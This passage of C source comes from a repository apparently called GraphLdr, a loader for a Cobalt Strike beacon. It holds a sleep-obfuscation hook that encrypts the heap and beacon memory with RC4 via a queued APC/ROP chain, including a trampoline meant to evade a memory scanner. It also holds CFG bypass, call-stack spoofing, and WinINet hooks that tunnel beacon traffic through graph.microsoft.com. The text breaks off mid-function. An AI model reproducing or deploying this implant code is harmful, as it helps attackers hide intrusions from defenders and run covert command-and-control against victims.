module, LPVOID funcPtr ) 95 | { 96 | NTSTATUS Status = STATUS_SUCCESS; 97 | PIMAGE_DOS_HEADER DosHdr = NULL; 98 | PIMAGE_NT_HEADERS NtsHdr = NULL; 99 | SIZE_T Length = 0; 100 | CFG_CALL_TARGET_INFO CfInfo = { 0 }; 101 | 102 | if( isCFGEnforced( pApi ) ) 103 | { 104 | DosHdr = C_PTR( module ); 105 | NtsHdr = C_PTR( U_PTR( DosHdr ) + DosHdr->e_lfanew ); 106 | Length = NtsHdr->OptionalHeader.SizeOfImage; 107 | Length = ( Length + 0x1000 - 1 ) &~ ( 0x1000 - 1 ); 108 | 109 | CfInfo.Flags = CFG_CALL_TARGET_VALID; 110 | CfInfo.Offset = U_PTR( funcPtr ) - U_PTR( module ); 111 | Status = pApi->kb.SetProcessValidCallTargets( ( ( HANDLE )-1 ), module, Length, 1, &CfInfo ) ? STATUS_SUCCESS : NtCurrentTeb()->LastErrorValue; 112 | }; 113 | 114 | return Status; 115 | }; 116 | 117 | SECTION( D ) VOID handleCFG( PAPI pApi ) 118 | { 119 | setValidCallTargets( pApi, pApi->hK32, C_PTR( pApi->k32.WaitForSingleObjectEx ) ); 120 | setValidCallTargets( pApi, pApi->hNtdll, C_PTR( pApi->ntdll.NtContinue ) ); 121 | setValidCallTargets( pApi, pApi->hNtdll, C_PTR( pApi->ntdll.NtGetContextThread ) ); 122 | setValidCallTargets( pApi, pApi->hNtdll, C_PTR( pApi->ntdll.NtProtectVirtualMemory ) ); 123 | setValidCallTargets( pApi, pApi->hNtdll, C_PTR( pApi->ntdll.NtSetContextThread ) ); 124 | setValidCallTargets( pApi, pApi->hNtdll, C_PTR( pApi->ntdll.NtTestAlert ) ); 125 | setValidCallTargets( pApi, pApi->hNtdll, C_PTR( pApi->ntdll.NtWaitForSingleObject ) ); 126 | setValidCallTargets( pApi, pApi->hNtdll, C_PTR( pApi->ntdll.RtlExitUserThread ) ); 127 | }; 128 | 129 | SECTION( D ) NTSTATUS queueAPCs( PAPI pApi, PCONTEXT* contexts, HANDLE hThread ) 130 | { 131 | NTSTATUS Status; 132 | for( int i = 9; i >= 0; i-- ) 133 | { 134 | Status = pApi->ntdll.NtQueueApcThread( hThread, C_PTR( pApi->ntdll.NtContinue ), contexts[i], NULL, NULL ); 135 | if( Status != STATUS_SUCCESS ) 136 | { 137 | break; 138 | }; 139 | }; 140 | 141 | return Status; 142 | }; 143 | 144 | SECTION( D ) VOID initContexts( PAPI pApi, PCONTEXT* contexts ) 145 | { 146 | PVOID hProcessHeap = NtCurrentTeb()->ProcessEnvironmentBlock->ProcessHeap; 147 | 148 | for( int i = 13; i >= 0; i-- ) 149 | { 150 | contexts[i] = ( PCONTEXT )C_PTR( SPOOF( pApi->ntdll.RtlAllocateHeap, pApi->hNtdll, pApi->szNtdll, hProcessHeap, C_PTR( HEAP_ZERO_MEMORY ), C_PTR( sizeof( CONTEXT ) ) ) ); 151 | if( i < 10 ) 152 | { 153 | *contexts[i] = *contexts[11]; 154 | }; 155 | contexts[i]->ContextFlags = CONTEXT_FULL; 156 | }; 157 | }; 158 | 159 | SECTION( D ) VOID freeContexts( PAPI pApi, PCONTEXT* contexts ) 160 | { 161 | PVOID hProcessHeap = NtCurrentTeb()->ProcessEnvironmentBlock->ProcessHeap; 162 | 163 | for( int i = 0; i < 13; i++ ) 164 | { 165 | if( contexts[i] ) 166 | { 167 | SPOOF( pApi->ntdll.RtlFreeHeap, pApi->hNtdll, pApi->szNtdll, hProcessHeap, 0, contexts[i] ); 168 | }; 169 | }; 170 | }; 171 | 172 | SECTION( D ) VOID startSleepChain( PAPI pApi, HANDLE hThread, HANDLE hEvent ) 173 | { 174 | ULONG outSuspendCount = 0; 175 | 176 | if( pApi->ntdll.NtAlertResumeThread( hThread, &outSuspendCount ) == STATUS_SUCCESS ) 177 | { 178 | pApi->ntdll.NtSignalAndWaitForSingleObject( hEvent, hThread, TRUE, NULL ); 179 | }; 180 | }; 181 | 182 | SECTION( D ) VOID addCommonStackData( PAPI pApi, PCONTEXT* contexts ) 183 | { 184 | for( int i = 0; i < 10; i++ ) 185 | { 186 | contexts[i]->Rsp = U_PTR( contexts[11]->Rsp - ( 0x1000 * ( i + 1 ) ) ); 187 | *( ULONG_PTR * )( contexts[i]->Rsp + 0x00 ) = ( ULONG_PTR ) pApi->ntdll.NtTestAlert; 188 | }; 189 | }; 190 | 191 | SECTION( D ) NTSTATUS openOriginalThread( PAPI pApi, PHANDLE thread ) 192 | { 193 | NTSTATUS Status = STATUS_SUCCESS; 194 | CLIENT_ID Cid = { 0 }; 195 | OBJECT_ATTRIBUTES ObjAddr = { 0 }; 196 | 197 | Cid.UniqueProcess = 0; 198 | Cid.UniqueThread = NtCurrentTeb()->ClientId.UniqueThread; 199 | ObjAddr.Length = sizeof( ObjAddr ); 200 | 201 | Status = pApi->ntdll.NtOpenThread( thread, THREAD_ALL_ACCESS, &ObjAddr, &Cid ); 202 | 203 | return Status; 204 | }; 205 | 206 | SECTION( D ) NTSTATUS createSleepThread( PAPI pApi, PHANDLE thread ) 207 | { 208 | NTSTATUS Status = STATUS_SUCCESS; 209 | PVOID StartAddress = C_PTR( pApi->ntdll.RtlUserThreadStart + 0x21 ); 210 | SIZE_T StackSize = 0x01FFFFFF; 211 | 212 | Status = pApi->ntdll.NtCreateThreadEx( thread, THREAD_ALL_ACCESS, NULL, ( HANDLE )-1, StartAddress, NULL, TRUE, 0, StackSize, StackSize, NULL ); 213 | 214 | return Status; 215 | }; 216 | 217 | SECTION( D ) NTSTATUS setupThreads( PAPI pApi, PHANDLE originalThd, PHANDLE sleepThd ) 218 | { 219 | NTSTATUS Status = STATUS_SUCCESS; 220 | 221 | Status = openOriginalThread( pApi, originalThd ); 222 | if( Status != STATUS_SUCCESS ) 223 | { 224 | return Status; 225 | }; 226 | 227 | Status = createSleepThread( pApi, sleepThd ); 228 | 229 | return Status; 230 | }; 231 | 232 | SECTION( D ) VOID delayExec( PAPI pApi ) 233 | { 234 | #define CHECKERR( status ) if( status != STATUS_SUCCESS ) { goto cleanup; }; 235 | 236 | NTSTATUS Status = 0; 237 | HANDLE SyncEvt = NULL; 238 | HANDLE WaitThd = NULL; 239 | HANDLE OrigThd = NULL; 240 | ULONG OldProt = 0; 241 | PCONTEXT Contexts[13]; // APC CTXs 0-9, Original CTX, Sleep CTX, Fake CTX 242 | UCHAR EmptyStk[256]; 243 | USTRING S32Key; 244 | USTRING S32Data; 245 | PVOID Trampoline; 246 | 247 | RtlSecureZeroMemory( &Contexts, sizeof( Contexts ) ); 248 | RtlSecureZeroMemory( &EmptyStk, sizeof( EmptyStk ) ); 249 | 250 | handleCFG( pApi ); 251 | 252 | S32Key.len = S32Key.maxlen = KEY_SIZE; 253 | S32Key.str = pApi->enckey; 254 | S32Data.len = S32Data.maxlen = pApi->Length; 255 | S32Data.str = ( PBYTE )( pApi->Buffer ); 256 | 257 | Status = setupThreads( pApi, &OrigThd, &WaitThd ); 258 | CHECKERR( Status ); 259 | 260 | Status = pApi->ntdll.NtCreateEvent( &SyncEvt, EVENT_ALL_ACCESS, NULL, 1, FALSE ); 261 | CHECKERR( Status ); 262 | 263 | initContexts( pApi, Contexts ); 264 | 265 | Status = pApi->ntdll.NtGetContextThread( WaitThd, Contexts[11] ); 266 | CHECKERR( Status ); 267 | 268 | addCommonStackData( pApi, Contexts ); 269 | Trampoline = FindGadget( pApi->hNtdll, pApi->szNtdll ); 270 | 271 | Contexts[12]->Rip = U_PTR( pApi->ntdll.RtlUserThreadStart + 0x21 ); 272 | Contexts[12]->Rsp = U_PTR( &EmptyStk ); 273 | 274 | DWORD c = 9; 275 | Contexts[c]->Rip = U_PTR( pApi->ntdll.NtWaitForSingleObject ); 276 | Contexts[c]->Rcx = U_PTR( SyncEvt ); 277 | Contexts[c]->Rdx = U_PTR( FALSE ); 278 | Contexts[c]->R8 = U_PTR( NULL ); 279 | 280 | c--; 281 | Contexts[c]->Rip = U_PTR( Trampoline ); // JMP RBX Trampoline to Evade Patriot 282 | Contexts[c]->Rbx = U_PTR( &pApi->ntdll.NtProtectVirtualMemory ); 283 | Contexts[c]->Rcx = U_PTR( ( HANDLE )-1 ); 284 | Contexts[c]->Rdx = U_PTR( &pApi->Buffer ); 285 | Contexts[c]->R8 = U_PTR( &pApi->Length ); 286 | Contexts[c]->R9 = U_PTR( PAGE_READWRITE ); 287 | *( ULONG_PTR * )( Contexts[c]->Rsp + 0x28 ) = ( ULONG_PTR )&OldProt; 288 | 289 | c--; 290 | Contexts[c]->Rip = U_PTR( pApi->advapi.SystemFunction032 ); 291 | Contexts[c]->Rcx = U_PTR( &S32Data ); 292 | Contexts[c]->Rdx = U_PTR( &S32Key ); 293 | 294 | c--; 295 | Contexts[c]->Rip = U_PTR( pApi->ntdll.NtGetContextThread ); 296 | Contexts[c]->Rcx = U_PTR( OrigThd ); 297 | Contexts[c]->Rdx = U_PTR( Contexts[10] ); // Original Context 298 | 299 | c--; 300 | Contexts[c]->Rip = U_PTR( pApi->ntdll.NtSetContextThread ); 301 | Contexts[c]->Rcx = U_PTR( OrigThd ); 302 | Contexts[c]->Rdx = U_PTR( Contexts[12] ); // Fake Context 303 | 304 | c--; 305 | Contexts[c]->Rip = U_PTR( pApi->k32.WaitForSingleObjectEx ); 306 | Contexts[c]->Rcx = U_PTR( OrigThd ); 307 | Contexts[c]->Rdx = U_PTR( pApi->dwMilliseconds ); 308 | Contexts[c]->R8 = U_PTR( FALSE ); 309 | 310 | c--; 311 | Contexts[c]->Rip = U_PTR( pApi->advapi.SystemFunction032 ); 312 | Contexts[c]->Rcx = U_PTR( &S32Data ); 313 | Contexts[c]->Rdx = U_PTR( &S32Key ); 314 | 315 | c--; 316 | Contexts[c]->Rip = U_PTR( pApi->ntdll.NtSetContextThread ); 317 | Contexts[c]->Rcx = U_PTR( OrigThd ); 318 | Contexts[c]->Rdx = U_PTR( Contexts[10] ); // Original Context 319 | 320 | c--; 321 | Contexts[c]->Rip = U_PTR( Trampoline ); // JMP RBX Trampoline to Evade Patriot 322 | Contexts[c]->Rbx = U_PTR( &pApi->ntdll.NtProtectVirtualMemory ); 323 | Contexts[c]->Rcx = U_PTR( ( HANDLE )-1 ); 324 | Contexts[c]->Rdx = U_PTR( &pApi->Buffer ); 325 | Contexts[c]->R8 = U_PTR( &pApi->Length ); 326 | Contexts[c]->R9 = U_PTR( PAGE_EXECUTE_READWRITE ); 327 | *( ULONG_PTR * )( Contexts[c]->Rsp + 0x28 ) = ( ULONG_PTR )&OldProt; 328 | 329 | c--; 330 | Contexts[c]->Rip = U_PTR( pApi->ntdll.RtlExitUserThread ); 331 | Contexts[c]->Rcx = U_PTR( NULL ); 332 | 333 | Status = queueAPCs( pApi, Contexts, WaitThd ); 334 | CHECKERR( Status ); 335 | 336 | startSleepChain( pApi, WaitThd, SyncEvt ); 337 | 338 | cleanup: 339 | freeContexts( pApi, Contexts ); 340 | 341 | if( WaitThd ) 342 | { 343 | pApi->ntdll.NtTerminateThread( WaitThd, STATUS_SUCCESS ); 344 | pApi->ntdll.NtClose( WaitThd ); 345 | }; 346 | 347 | if( OrigThd ) 348 | { 349 | pApi->ntdll.NtClose( OrigThd ); 350 | }; 351 | 352 | if( SyncEvt ) 353 | { 354 | pApi->ntdll.NtClose( SyncEvt ); 355 | }; 356 | 357 | RtlSecureZeroMemory( &S32Data, sizeof( S32Data ) ); 358 | RtlSecureZeroMemory( &S32Key, sizeof( S32Key ) ); 359 | }; 360 | 361 | SECTION( D ) VOID encryptHeap( PAPI pApi ) 362 | { 363 | USTRING S32Key; 364 | USTRING S32Data; 365 | RTL_HEAP_WALK_ENTRY Entry; 366 | 367 | RtlSecureZeroMemory( &Entry, sizeof( Entry ) ); 368 | S32Key.len = S32Key.maxlen = KEY_SIZE; 369 | S32Key.str = pApi->enckey; 370 | 371 | while ( NT_SUCCESS( pApi->ntdll.RtlWalkHeap( GetProcessHeap_Hook(), &Entry ) ) ) 372 | { 373 | if( ( Entry.Flags & RTL_PROCESS_HEAP_ENTRY_BUSY ) != 0 ) 374 | { 375 | S32Data.len = S32Data.maxlen = Entry.DataSize; 376 | S32Data.str = ( PBYTE )( Entry.DataAddress ); 377 | pApi->advapi.SystemFunction032( &S32Data, &S32Key ); 378 | }; 379 | }; 380 | 381 | RtlSecureZeroMemory( &S32Data, sizeof( S32Data ) ); 382 | RtlSecureZeroMemory( &S32Key, sizeof( S32Key ) ); 383 | RtlSecureZeroMemory( &Entry, sizeof( Entry ) ); 384 | }; 385 | 386 | SECTION( D ) NTSTATUS resolveSleepHookFunctions( PAPI pApi ) 387 | { 388 | PPEB Peb; 389 | UNICODE_STRING Uni; 390 | ANSI_STRING Str; 391 | HANDLE hKb; 392 | 393 | RtlSecureZeroMemory( &Uni, sizeof( Uni ) ); 394 | RtlSecureZeroMemory( &Str, sizeof( Str ) ); 395 | 396 | Peb = NtCurrentTeb()->ProcessEnvironmentBlock; 397 | 398 | pApi->hNtdll = FindModule( H_LIB_NTDLL, Peb, &pApi->szNtdll ); 399 | pApi->hAdvapi = FindModule( H_LIB_ADVAPI32, Peb, NULL ); 400 | pApi->hK32 = FindModule( H_LIB_KERNEL32, Peb, NULL ); 401 | hKb = FindModule( H_LIB_KERNELBASE, Peb, NULL ); 402 | 403 | if( !pApi->hNtdll || !pApi->hK32 || !hKb ) 404 | { 405 | return -1; 406 | }; 407 | 408 | pApi->ntdll.LdrGetProcedureAddress = FindFunction( pApi->hNtdll, H_API_LDRGETPROCEDUREADDRESS ); 409 | pApi->ntdll.LdrLoadDll = FindFunction( pApi->hNtdll, H_API_LDRLOADDLL ); 410 | pApi->ntdll.LdrUnloadDll = FindFunction( pApi->hNtdll, H_API_LDRUNLOADDLL ); 411 | pApi->ntdll.NtAlertResumeThread = FindFunction( pApi->hNtdll, H_API_NTALERTRESUMETHREAD ); 412 | pApi->ntdll.NtClose = FindFunction( pApi->hNtdll, H_API_NTCLOSE ); 413 | pApi->ntdll.NtContinue = FindFunction( pApi->hNtdll, H_API_NTCONTINUE ); 414 | pApi->ntdll.NtCreateEvent = FindFunction( pApi->hNtdll, H_API_NTCREATEEVENT ); 415 | pApi->ntdll.NtCreateThreadEx = FindFunction( pApi->hNtdll, H_API_NTCREATETHREADEX ); 416 | pApi->ntdll.NtGetContextThread = FindFunction( pApi->hNtdll, H_API_NTGETCONTEXTTHREAD ); 417 | pApi->ntdll.NtOpenThread = FindFunction( pApi->hNtdll, H_API_NTOPENTHREAD ); 418 | pApi->ntdll.NtProtectVirtualMemory = FindFunction( pApi->hNtdll, H_API_NTPROTECTVIRTUALMEMORY ); 419 | pApi->ntdll.NtQueryInformationProcess = FindFunction( pApi->hNtdll, H_API_NTQUERYINFORMATIONPROCESS ); 420 | pApi->ntdll.NtQueueApcThread = FindFunction( pApi->hNtdll, H_API_NTQUEUEAPCTHREAD ); 421 | pApi->ntdll.NtSetContextThread = FindFunction( pApi->hNtdll, H_API_NTSETCONTEXTTHREAD ); 422 | pApi->ntdll.NtSignalAndWaitForSingleObject = FindFunction( pApi->hNtdll, H_API_NTSIGNALANDWAITFORSINGLEOBJECT ); 423 | pApi->ntdll.NtTerminateThread = FindFunction( pApi->hNtdll, H_API_NTTERMINATETHREAD ); 424 | pApi->ntdll.NtTestAlert = FindFunction( pApi->hNtdll, H_API_NTTESTALERT ); 425 | pApi->ntdll.NtWaitForSingleObject = FindFunction( pApi->hNtdll, H_API_NTWAITFORSINGLEOBJECT ); 426 | pApi->ntdll.RtlAllocateHeap = FindFunction( pApi->hNtdll, H_API_RTLALLOCATEHEAP ); 427 | pApi->ntdll.RtlExitUserThread = FindFunction( pApi->hNtdll, H_API_RTLEXITUSERTHREAD ); 428 | pApi->ntdll.RtlFreeHeap = FindFunction( pApi->hNtdll, H_API_RTLFREEHEAP ); 429 | pApi->ntdll.RtlInitAnsiString = FindFunction( pApi->hNtdll, H_API_RTLINITANSISTRING ); 430 | pApi->ntdll.RtlInitUnicodeString = FindFunction( pApi->hNtdll, H_API_RTLINITUNICODESTRING ); 431 | pApi->ntdll.RtlRandomEx = FindFunction( pApi->hNtdll, H_API_RTLRANDOMEX ); 432 | pApi->ntdll.RtlUserThreadStart = FindFunction( pApi->hNtdll, H_API_RTLUSERTHREADSTART ); 433 | pApi->ntdll.RtlWalkHeap = FindFunction( pApi->hNtdll, H_API_RTLWALKHEAP ); 434 | 435 | pApi->kb.SetProcessValidCallTargets = FindFunction( hKb, H_API_SETPROCESSVALIDCALLTARGETS ); 436 | pApi->k32.WaitForSingleObjectEx = FindFunction( pApi->hK32, H_API_WAITFORSINGLEOBJECTEX ); 437 | 438 | if( !pApi->hAdvapi ) 439 | { 440 | pApi->ntdll.RtlInitUnicodeString( &Uni, C_PTR( OFFSET( L"advapi32.dll" ) ) ); 441 | pApi->ntdll.LdrLoadDll( NULL, 0, &Uni, &pApi->hAdvapi ); 442 | 443 | if( !pApi->hAdvapi ) 444 | { 445 | return -1; 446 | }; 447 | }; 448 | 449 | pApi->ntdll.RtlInitAnsiString( &Str, C_PTR( OFFSET( "SystemFunction032" ) ) ); 450 | pApi->ntdll.LdrGetProcedureAddress( pApi->hAdvapi, &Str, 0, ( PVOID* )&pApi->advapi.SystemFunction032 ); 451 | 452 | RtlSecureZeroMemory( &Uni, sizeof( Uni ) ); 453 | RtlSecureZeroMemory( &Str, sizeof( Str ) ); 454 | 455 | return STATUS_SUCCESS; 456 | }; 457 | 458 | SECTION( D ) VOID generateEncryptionKey( PAPI pApi ) 459 | { 460 | ULONG Seed = 1337; 461 | for( int i = 0; i < KEY_SIZE; i++ ) 462 | { 463 | Seed = pApi->ntdll.RtlRandomEx( &Seed ); 464 | pApi->enckey[i] = ( char )KEY_VALS[Seed % 61]; 465 | }; 466 | }; 467 | 468 | SECTION( D ) VOID Sleep_Hook( DWORD dwMilliseconds ) 469 | { 470 | API Api; 471 | RtlSecureZeroMemory( &Api, sizeof( Api ) ); 472 | 473 | Api.CFG = 0; 474 | Api.dwMilliseconds = dwMilliseconds; 475 | Api.Buffer = C_PTR( ( ( PSTUB ) OFFSET( Stub ) )->Region ); 476 | Api.Length = U_PTR( ( ( PSTUB ) OFFSET( Stub ) )->Size ); 477 | 478 | if( resolveSleepHookFunctions( &Api ) == STATUS_SUCCESS ) 479 | { 480 | 481 | if( dwMilliseconds < 1000 ) 482 | { 483 | // Don't waste cycles on the full chain for `sleep 0` 484 | Api.k32.WaitForSingleObjectEx( ( HANDLE )-1, dwMilliseconds, FALSE ); 485 | return; 486 | }; 487 | 488 | generateEncryptionKey( &Api ); 489 | encryptHeap( &Api ); 490 | delayExec( &Api ); 491 | encryptHeap( &Api ); 492 | }; 493 | 494 | RtlSecureZeroMemory( &Api, sizeof( Api ) ); 495 | }; 496 | -------------------------------------------------------------------------------- /GraphLdr/src/hooks/heap.c: -------------------------------------------------------------------------------- 1 | #include "hooks.h" 2 | 3 | SECTION( D ) HANDLE GetProcessHeap_Hook() 4 | { 5 | return ( ( PSTUB )OFFSET( Stub ) )->Heap; 6 | }; 7 | -------------------------------------------------------------------------------- /GraphLdr/src/hooks/hooks.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include "../include.h" 4 | 5 | SECTION( D ) HANDLE WINAPI GetProcessHeap_Hook(); 6 | SECTION( D ) VOID WINAPI Sleep_Hook( DWORD dwMilliseconds ); 7 | SECTION( D ) LPVOID WINAPI HeapAlloc_Hook( HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes ); 8 | SECTION( D ) PVOID NTAPI RtlAllocateHeap_Hook( PVOID heapHandle, ULONG flags, SIZE_T size ); 9 | SECTION( D ) HINTERNET InternetConnectA_Hook( HINTERNET hInternet, LPCSTR lpszServerName, INTERNET_PORT nServerPort, LPCSTR lpszUserName, LPCSTR lpszPassword, DWORD dwService, DWORD dwFlags, DWORD_PTR dwContext ); 10 | SECTION( D ) HINTERNET HttpOpenRequestA_Hook( HINTERNET hInternet, LPCSTR lpszVerb, LPCSTR lpszObjectName, LPCSTR lpszVersion, LPCSTR lpszReferrer, LPCSTR *lplpszAcceptTypes, DWORD dwFlags, DWORD_PTR dwContext ); 11 | SECTION( D ) BOOL HttpSendRequestA_Hook( HINTERNET hInternet, LPCSTR lpszHeaders, DWORD dwHeadersLength, LPVOID lpOptional, DWORD dwOptionalLength ); 12 | SECTION( D ) BOOL InternetReadFile_Hook( HINTERNET hFile, LPVOID lpBuffer, DWORD dwNumberOfBytesToRead, LPDWORD lpdwNumberOfBytesRead ); 13 | SECTION( D ) LPVOID MakeWebRequest(HANDLE hInternet, PVOID site, PVOID uri, PVOID verb, PVOID headers, PVOID content, struct MemAddrs* pMemAddrs); 14 | SECTION( D ) NTSTATUS NtWaitForSingleObject_Hook( HANDLE handle, BOOLEAN alertable, PLARGE_INTEGER timeout ); 15 | 16 | extern PVOID pMemAddrs2; -------------------------------------------------------------------------------- /GraphLdr/src/hooks/spoof.c: -------------------------------------------------------------------------------- 1 | #include "hooks.h" 2 | 3 | SECTION( D ) PVOID RtlAllocateHeap_Hook( PVOID heapHandle, ULONG flags, SIZE_T size ) 4 | { 5 | // Resolve API's 6 | struct MemAddrs* pMemAddrs = *(struct MemAddrs**)((PMEMADDR) OFFSET ( MemAddr ) )->address; 7 | 8 | return SPOOF( pMemAddrs->Api.ntdll.RtlAllocateHeap, pMemAddrs->Api.ntdll.hNtdll, pMemAddrs->Api.ntdll.size, heapHandle, C_PTR( U_PTR( flags ) ), C_PTR( U_PTR ( size ) ) ); 9 | }; 10 | 11 | SECTION( D ) LPVOID HeapAlloc_Hook( HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes ) 12 | { 13 | return RtlAllocateHeap_Hook( hHeap, dwFlags, dwBytes ); 14 | }; 15 | 16 | SECTION( D ) NTSTATUS NtWaitForSingleObject_Hook( HANDLE handle, BOOLEAN alertable, PLARGE_INTEGER timeout ) 17 | { 18 | // Resolve API's 19 | struct MemAddrs* pMemAddrs = *(struct MemAddrs**)((PMEMADDR) OFFSET ( MemAddr ) )->address; 20 | 21 | return ( NTSTATUS )U_PTR( SPOOF( pMemAddrs->Api.ntdll.NtWaitForSingleObject, pMemAddrs->Api.ntdll.hNtdll, pMemAddrs->Api.ntdll.size, handle, C_PTR( U_PTR( alertable ) ), timeout ) ); 22 | }; 23 | 24 | SECTION( D ) HINTERNET InternetConnectA_Hook( HINTERNET hInternet, LPCSTR lpszServerName, INTERNET_PORT nServerPort, LPCSTR lpszUserName, LPCSTR lpszPassword, DWORD dwService, DWORD dwFlags, DWORD_PTR dwContext ) 25 | { 26 | // Resolve API's 27 | struct MemAddrs* pMemAddrs = *(struct MemAddrs**)((PMEMADDR) OFFSET ( MemAddr ) )->address; 28 | 29 | #ifdef DEBUG 30 | pMemAddrs->Api.user32.MessageBoxA(NULL, C_PTR( OFFSET( "InternetConnectA!" ) ), C_PTR( OFFSET( "ALERT" ) ), 0); 31 | #endif 32 | 33 | // Only do this the first time through this function to check if this is actually a GraphStrike Beacon as opposed to a regular Beacon created with GraphStrike loaded 34 | if (pMemAddrs->graphStrike == (BOOL) U_PTR( NULL )) 35 | { 36 | // Convert lpszServerName to lowercase just in case 37 | char* serverCopy = (char *)pMemAddrs->Api.msvcrt.calloc(pMemAddrs->Api.msvcrt.strlen(lpszServerName) + 1, sizeof(char)); 38 | pMemAddrs->Api.msvcrt.strcpy(serverCopy, lpszServerName); 39 | unsigned char* mod = (unsigned char*)serverCopy; 40 | 41 | while(*mod) 42 | { 43 | *mod = pMemAddrs->Api.msvcrt.tolower(*mod); 44 | mod++; 45 | } 46 | 47 | if (pMemAddrs->Api.msvcrt.strcmp((char*)serverCopy, C_PTR ( OFFSET ( "graph.microsoft.com" ) )) == 0) 48 | pMemAddrs->graphStrike = TRUE; 49 | else 50 | pMemAddrs->graphStrike = FALSE; 51 | 52 | pMemAddrs->Api.msvcrt.free(serverCopy); 53 | } 54 | 55 | // Store hInternet handle for later 56 | pMemAddrs->hInternet = hInternet; 57 | 58 | return ( HINTERNET )SPOOF( pMemAddrs->Api.net.InternetConnectA, pMemAddrs->Api.net.hNet, pMemAddrs->Api.net.size, hInternet, C_PTR( lpszServerName ), C_PTR( U_PTR( nServerPort ) ), C_PTR( lpszUserName ), C_PTR( lpszPassword ), C_PTR( U_PTR ( dwService ) ), C_PTR( U_PTR( dwFlags ) ), C_PTR( U_PTR( dwContext ) ) ); 59 | }; 60 | 61 | SECTION( D ) VOID ParseValue(char* string, char* token, char* outBuffer, int outBufferLen, BOOL isDigit, struct MemAddrs* pMemAddrs) 62 | { 63 | // Find the supplied token within the string, and increment pointer by length of token 64 | LPVOID dataStart = pMemAddrs->Api.msvcrt.strstr(string, token) + pMemAddrs->Api.msvcrt.strlen(token); 65 | 66 | // Determine how many characters make up the size value (e.g. size could be '0' or '249323') 67 | char *p = (char*)dataStart; 68 | int count = 0; 69 | 70 | // We support two modes, one for finding digits, and one that looks for a terminating '"' character 71 | if( isDigit ) 72 | { 73 | while(*p) 74 | { 75 | if (pMemAddrs->Api.msvcrt.isdigit(*p)) 76 | count++; 77 | else 78 | break; 79 | p++; 80 | } 81 | } 82 | else 83 | { 84 | LPVOID endChar = (LPVOID)pMemAddrs->Api.msvcrt.strstr(dataStart, C_PTR ( OFFSET ( "\"" ) )); 85 | count = endChar - dataStart; 86 | } 87 | 88 | // Copy parsed value into output buffer 89 | pMemAddrs->Api.msvcrt.memset(outBuffer, 0, outBufferLen); 90 | pMemAddrs->Api.msvcrt.memcpy(outBuffer, dataStart, count); 91 | 92 | return; 93 | }; 94 | 95 | SECTION( D ) LPVOID MakeWebRequest(HANDLE hInternet, PVOID site, PVOID uri, PVOID verb, PVOID headers, PVOID content, struct MemAddrs* pMemAddrs) 96 | { 97 | LPVOID lpResult = NULL; 98 | LPVOID addr = NULL; 99 | 100 | if (pMemAddrs->Api.msvcrt.strcmp(site, LOGIN_ADDRESS) == 0) 101 | addr = ResolveAddress(pMemAddrs); 102 | 103 | // Connect to site 104 | HINTERNET hSite = ( HINTERNET )SPOOF( pMemAddrs->Api.net.InternetConnectA, pMemAddrs->Api.net.hNet, pMemAddrs->Api.net.size, hInternet, site, C_PTR( U_PTR( INTERNET_DEFAULT_HTTPS_PORT ) ), NULL, NULL, C_PTR( U_PTR( INTERNET_SERVICE_HTTP ) ), 0, C_PTR( U_PTR( (DWORD_PTR)NULL ) ) ); 105 | 106 | if (hSite) 107 | { 108 | // Create http request 109 | LPCSTR acceptTypes[] = { C_PTR ( OFFSET ( "*/*" ) ), NULL }; 110 | HINTERNET hReq = ( HINTERNET )SPOOF( pMemAddrs->Api.net.HttpOpenRequestA, pMemAddrs->Api.net.hNet, pMemAddrs->Api.net.size, hSite, verb, uri, NULL, NULL, acceptTypes, C_PTR( U_PTR( INTERNET_FLAG_SECURE | INTERNET_FLAG_DONT_CACHE ) ), 0); 111 | 112 | if (hReq) 113 | { 114 | // Set headers + content length values 115 | DWORD headersLen = 0; 116 | DWORD contentLen = 0; 117 | if (headers != NULL) 118 | headersLen = (DWORD)pMemAddrs->Api.msvcrt.strlen(headers); 119 | if (content != NULL) 120 | contentLen = (DWORD)pMemAddrs->Api.msvcrt.strlen(content); 121 | 122 | // Send http request using specified headers and content 123 | if ((BOOL) U_PTR ( SPOOF( pMemAddrs->Api.net.HttpSendRequest, pMemAddrs->Api.net.hNet, pMemAddrs->Api.net.size, C_PTR ( hReq ), headers, C_PTR ( U_PTR( headersLen ) ), content, C_PTR ( U_PTR ( contentLen ) ) ) ) == TRUE) 124 | { 125 | // Allocate a buffer to receive response from server 126 | // This should really be allocated dynamically, but 5K is enough for the requests we are making. 127 | lpResult = pMemAddrs->Api.msvcrt.calloc(5000, sizeof(char)); 128 | 129 | // Call InternetReadFile in a loop until we have read everything. 130 | DWORD dwBytesRead = 0, currbytes_read; 131 | BOOL bKeepReading = TRUE; 132 | do 133 | { 134 | bKeepReading = (BOOL) U_PTR ( SPOOF( pMemAddrs->Api.net.InternetReadFile, pMemAddrs->Api.net.hNet, pMemAddrs->Api.net.size, C_PTR ( hReq ), C_PTR ( lpResult + dwBytesRead ), C_PTR ( U_PTR ( 5000 - dwBytesRead ) ), C_PTR ( U_PTR ( &currbytes_read ) ) ) ); 135 | dwBytesRead += currbytes_read; 136 | } while (bKeepReading && currbytes_read); 137 | } 138 | 139 | // Close handle to request 140 | SPOOF( pMemAddrs->Api.net.InternetCloseHandle, pMemAddrs->Api.net.hNet, pMemAddrs->Api.net.size, hReq ); 141 | } 142 | 143 | // Close handle to site 144 | SPOOF( pMemAddrs->Api.net.InternetCloseHandle, pMemAddrs->Api.net.hNet, pMemAddrs->Api.net.size, hSite); 145 | } 146 | 147 | if (addr) 148 | pMemAddrs->Api.msvcrt.free(addr); 149 | 150 | return lpResult; 151 | }; 152 | 153 | SECTION( D ) HINTERNET HttpOpenRequestA_Hook( HINTERNET hInternet, LPCSTR lpszVerb, LPCSTR lpszObjectName, LPCSTR lpszVersion, LPCSTR lpszReferrer, LPCSTR *lplpszAcceptTypes, DWORD dwFlags, DWORD_PTR dwContext ) 154 | { 155 | HINTERNET hResult = INVALID_HANDLE_VALUE; 156 | LARGE_INTEGER currentTime, frequency; 157 | PVOID verb, uri, tempUri, headers, content, response; 158 | size_t reqSize; 159 | int elapsedTime; 160 | CHAR size[10] = {0}; 161 | CHAR id[100] = {0}; 162 | 163 | // Resolve API's 164 | struct MemAddrs* pMemAddrs = *(struct MemAddrs**)((PMEMADDR) OFFSET ( MemAddr ) )->address; 165 | 166 | #ifdef DEBUG 167 | pMemAddrs->Api.user32.MessageBoxA(NULL, C_PTR( OFFSET( "HttpOpenRequest!" ) 